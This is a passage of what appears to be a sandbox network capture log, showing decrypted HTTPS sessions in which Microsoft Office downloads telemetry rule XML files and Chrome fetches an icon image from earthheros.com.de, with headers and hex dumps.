2024-10-16 15:56:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:38 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d34f521c-701e-0053-12d8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155638Z-16b659b4499bnwsctrq8dt6ghw000000072000000000adm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:38 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:38 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:38 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 279cc631-801e-00a3-30d8-1e7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155638Z-15b8d89586frzkk2umu6w8qnt8000000024000000000kbdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:38 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:39 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 20e60820-a01e-000d-5fd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155638Z-16b659b4499t9g2t855zkdgzd000000008vg00000000m074 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49783	172.67.157.17	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:39 UTC	653	OUT	GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1 Host: earthheros.com.de Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earthheros.com.de/cdn-cgi/styles/cf.errors.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:39 UTC	409	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:39 GMT Content-Type: image/png Content-Length: 452 Connection: close Last-Modified: Mon, 14 Oct 2024 09:31:04 GMT ETag: "670ce4d8-1c4" Server: cloudflare CF-RAY: 8d393d797ed92c85-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Wed, 16 Oct 2024 17:56:39 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2024-10-16 15:56:39 UTC	452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 36 00 00 00 36 08 03 00 00 00 bb 9b 9a ef 00 00 00 33 50 4c 54 45 c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f ab b2 22 ed 00 00 00 11 74 52 4e 53 00 40 30 10 60 8f bf ff ef 7f af 9f df 20 50 cf 70 60 82 c8 9b 00 00 01 2f 49 44 41 54 78 01 bd d3 05 d2 b4 30 10 06 e1 8e 6c de c1 36 dc ff b2 9f 2b 95 c9 12 7e 79 4a 91 46 22 b8 c2 8b c8 80 94 6f 45 1f ac 4c 81 33 f2 ac 03 5b 1e 95 69 32 b5 94 6e 98 57 79 4a c4 91 8a 7a 26 9a 82 a9 af a4 46 95 f5 d0 1a fb 95 c7 62 bf b2 f2 e9 70 7e e3 a7 a0 df ee 7c 3a 74 35 f1 6d b3 b3 99 66 70 af 69 f2 2f 65 ef c7 fa 99 25 de 25 1b c9 b4 f0 6e d2 50 a6 ed fb 65 Data Ascii: PNGIHDR663PLTEE?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?"tRNS@0` Pp`/IDATx0l6+~yJF"oEL3[i2nWyJz&Fbp~\|:t5mfpi/e%%nPe

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: c529dd24-301e-001f-72d8-1eaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155639Z-15b8d89586fst84k5f3z220tec00000002bg00000000271d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:39 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 37388c9a-b01e-0053-59d8-1ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155639Z-r197bdfb6b4qz2jg69037h393n000000024g0000000057bu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 9657db4b-301e-0099-40d8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155639Z-15b8d89586f6nn8zwfkdy3t04s000000026g000000002z58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49790	104.21.34.79	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:40 UTC	387	OUT	GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1 Host: earthheros.com.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:40 UTC	409	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:40 GMT Content-Type: image/png Content-Length: 452 Connection: close Last-Modified: Mon, 14 Oct 2024 09:31:04 GMT ETag: "670ce4d8-1c4" Server: cloudflare CF-RAY: 8d393d7efcb4453b-ATL X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Wed, 16 Oct 2024 17:56:40 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2024-10-16 15:56:40 UTC	452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 36 00 00 00 36 08 03 00 00 00 bb 9b 9a ef 00 00 00 33 50 4c 54 45 c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f ab b2 22 ed 00 00 00 11 74 52 4e 53 00 40 30 10 60 8f bf ff ef 7f af 9f df 20 50 cf 70 60 82 c8 9b 00 00 01 2f 49 44 41 54 78 01 bd d3 05 d2 b4 30 10 06 e1 8e 6c de c1 36 dc ff b2 9f 2b 95 c9 12 7e 79 4a 91 46 22 b8 c2 8b c8 80 94 6f 45 1f ac 4c 81 33 f2 ac 03 5b 1e 95 69 32 b5 94 6e 98 57 79 4a c4 91 8a 7a 26 9a 82 a9 af a4 46 95 f5 d0 1a fb 95 c7 62 bf b2 f2 e9 70 7e e3 a7 a0 df ee 7c 3a 74 35 f1 6d b3 b3 99 66 70 af 69 f2 2f 65 ef c7 fa 99 25 de 25 1b c9 b4 f0 6e d2 50 a6 ed fb 65 Data Ascii: PNGIHDR663PLTEE?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?"tRNS@0` Pp`/IDATx0l6+~yJF"oEL3[i2nWyJz&Fbp~\|:t5mfpi/e%%nPe

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:40 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:40 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: aa24ed06-601e-0002-21d8-1ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155640Z-16b659b4499pnh69zuen6a54mc00000007sg00000000sqmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:40 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a14daed5-f01e-003f-49d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155640Z-16b659b44999mb85a5wquzbrz800000006a000000000c6b2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: e0ad141f-c01e-0079-14d8-1ee51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155640Z-15b8d89586fsx9lfqmgrbzpgmg000000028000000000phq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:40 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 68e3779b-f01e-005d-74d8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155640Z-16b659b44994sjcfes83c39y40000000063000000000t4tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
